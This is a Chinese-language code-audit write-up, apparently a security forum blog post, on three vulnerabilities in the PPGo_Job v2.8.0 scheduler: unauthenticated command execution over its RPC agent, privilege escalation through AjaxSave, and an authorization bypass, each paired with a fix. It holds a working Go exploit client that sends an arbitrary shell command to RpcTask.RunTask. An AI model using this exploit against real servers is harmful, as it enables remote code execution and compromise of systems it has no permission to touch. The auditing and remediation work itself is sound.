https://github.com/george518/PPGo_Job
PPGo_Job是一款使用go语言开发的轻量级定时任务管理系统,持定时任务可视化管理、多人多权限的管理,支持大并发,可同时管理多台服务器上的定时任务。
系统:windows11 go版本:go1.23.9 ppgo_job版本:2.8.0 mysql版本:5.7.26
我是下载的源码,刚开始下载的PPGo_Job-Master-v2.8.0-windows-amd64.zip这个打包的方法,发现跑不起来。
配置config文件:
配置数据库账号密码,创建与配置文件db.name同名的数据库,然后在数据库管理软件运行ppgo_job2.sql即可
执行go mod init ppgo_job、go tidy、go mod vender
之后正常的话就能启动了
https://www.yisu.com/cve/17020.html
PPGo_Job是一款轻量级定时任务管理系统,go语言开发,部署超级简单,资源消耗少,运行稳定。 PPGo_Jobs v2.8.0 中存在安全漏洞,该漏洞允许远程攻击者通过“AjaxRun()”函数执行任意代码。
根据公开的漏洞信息,定位到RunTask
函数。
进入RestJobFromTask
函数:
继续进入ResetCommandJob
函数:
可以看到参数中的command参数直接作为exec.Command
的执行参数,参数可控。
那么怎么触发呢?回到RpcTask
这个类,可以看到该类被注册了RPC服务,也就是如果目标网站开启了RPC服务,我们就可以通过调用该目标RPC服务的RpcTask.RunTask
方法,此时服务器会将我们传入的RunTask
方法的参数也就是Task结构体带入执行,将其中的Task.Command
字段作为cmd执行的参数执行造成RCE。
该漏洞利用需要目标站点先开启rpc服务器,也就是执行项目中的./agent/main.go,但这里有两signal.go、task.go两文件有报错需要解决。
注意:/agent/main.go还有/main.go引用的外部文件都是/vendor下的,比如这里的signal.go、task.go是vendor\github.com\george518\PPGo_Job\agent\server下的。
错误1:signal.go文件报错,直接删了syscall.SIGUSR1
, syscall.SIGUSR2
参数即可。
错误2:task.go文件报错,因为引用该RpcResult
结构体的只有该文件下的代码,所以我是直接将该结构体名改成RpcResult_t
连带修改task.go文件中引用的地方。
现在就能执行./agent/main.go开启rpc服务了(需要先启动web服务):
exp:
这里payload为dir > 11.txt
package main
import (
"encoding/json"
"fmt"
"net"
"net/rpc"
"net/rpc/jsonrpc"
)
type JobResult struct {
OutMsg string
ErrMsg string
IsOk bool
IsTimeout bool
}
type Task struct {
Id int
GroupId int
ServerIds string
ServerType int
TaskName string
Description string
CronSpec string
Concurrent int
Command string
Timeout int
ExecuteTimes int
PrevTime int64
Status int
IsNotify int
NotifyType int
NotifyTplId int
NotifyUserIds string
CreateId int
UpdateId int
CreateTime int64
UpdateTime int64
}
func main() {
//command字段值就是rce命令
req := `{"Id":17,"GroupId":1,"ServerIds":"12","ServerType":0,"TaskName":"wwwwwww","Description":"wwwwwww","CronSpec":"* * * * *","Concurrent":0,"Command":"dir > 11.txt","Timeout":1000,"ExecuteTimes":0,"PrevTime":0,"Status":0,"IsNotify":0,"NotifyType":0,"NotifyTplId":0,"NotifyUserIds":"","CreateId":1,"UpdateId":0,"CreateTime":1600687576,"UpdateTime":1600687576}`
//rpc默认端口1564,可以在./agent/config/config.ini配置。
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", "127.0.0.1", 1564))
reply := new(JobResult)
if err != nil {
reply.IsOk = false
reply.ErrMsg = "Net error:" + err.Error()
reply.IsTimeout = false
reply.OutMsg = ""
fmt.Println("error ", err)
return
//return reply
}
defer conn.Close()
client := rpc.NewClientWithCodec(jsonrpc.NewClientCodec(conn))
defer client.Close()
reply = new(JobResult)
task := new(Task)
err = json.Unmarshal([]byte(req),&task)
if err != nil {
fmt.Println("error in unmarshal" , err)
}
err = client.Call("RpcTask.RunTask", task, &reply)
if err != nil {
reply.IsOk = false
reply.ErrMsg = "Net error:" + err.Error()
reply.IsTimeout = false
reply.OutMsg = ""
//return reply
}
return
}
执行完可以看到创建了11.txt:
项目已经好几年没更新了一直没修复,防御的话,非必要不开启项目的Rpc服务就是了,真要使用的话可以修改/config/config.ini文件让该服务只开放在内网里:
https://cve.imfht.com/detail/CVE-2024-36691
PPGo_Jobs v2.8.0 中的 AdminController.AjaxSave()
方法存在不安全的权限问题,允许经过身份验证的攻击者任意修改用户的账户信息。
该方法用来修改用户个人资料信息,如账号名、姓名、手机号码、密码等。
看代码可以看到,要修改的目标账号是通过请求包中的id参数指定的,且未对用户权限做校验导致可以越权修改其他账号(包括admin用户)信息。
请求包:
漏洞点位置:
要进行修改的目标用户ID不从请求中获取,改为直接获取当前userId即可:
可以看到该处理方法也是通过获取请求包中的id参数值来指定要进行修改或新增的目标用户。
当前端传入的id参数不存在即默认为0时为进行新增用户操作。
否则进行修改用户信息的操作,可以看到代码仅对普通管理员对admin超级管理员的修改做了校验,存在越权修改其他管理员账号信息的漏洞,包括能对目标账号密码进行重置。
漏洞功能点位置:
从该系统页面功能点来看,原本设定的应该是只有超级管理员才能进行用户的添加/修改操作,所以修复的话加个判断当前用户的userId是否为超级管理员(1)即可:
https://forum.butian.net/share/928
该漏洞源于鉴权方法Auth()
的实现缺陷。当系统检测到用户权限不足时,未能及时终止请求处理流程,导致页面数据仍然正常加载,从而绕过权限控制。
Beego 框架请求处理流程是先执行 Prepare()
方法,再执行具体的请求处理方法(如 Get()
、Post()
等),可以看到Prepare
方法调用了Auth()
方法用于鉴权。
跳转到Auth()
方法,Auth()
方法代码如下:
重点看isHasAuth == false && isNoAuth == false
这个if条件的内容,可以看到上下两部分的处理代码在检测到“没有权限”后,代码都没有使用如self.StopRun()
终止处理流程,这会导致 Beego 继续执行后续的请求处理方法并渲染页面内容。
比如该项目中的redirect
方法就使用了self.StopRun
方法避免了这个问题。
构造请求
先是要进入上级if条件:
len(arr)跟userId > 0 也就是请求包中Cookie的auth字段值是用|符号划分的两个部分,且|左边的id值大于0即可,如:
然后进入目标if条件:isHasAuth == false && isNoAuth == false
。
条件1:isHasAuth == false
,也就是strings.Contains(self.allowUrl, self.controllerName+"/"+self.actionName)
为false,在调试的时候可以看到self.allowUrl为空,所以该条件默认成立不用管。
条件2:isNoAuth == false
,也就是strings.Contains(noAuth, self.actionName)
为false,所以我们构造的未授权访问请求包的actionName不能包含以下关键字:
这个项目将url请求基本分为controllerName跟actionName,actionName也就是请求中按斜杠/数的第二个参数。
所以构造如下请求,可以看到虽然触发“没有权限”的弹窗,但页面数据还是正常进行加载显示。
在判断条件if isHasAuth == false && isNoAuth == false {
代码内添加上两个函数self.StopRun()避免请求继续执行:
java代码审计太难了,看不下去一点,刚用go语言写完毕设想着对该语言还比较熟悉就想学点go代码审计,也是看到站内师傅审ppgo_job的文章,但只讲了上面的“未授权”漏洞而且感觉讲的漏洞成因跟我复现的对不上(,所以想着整合一下了。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!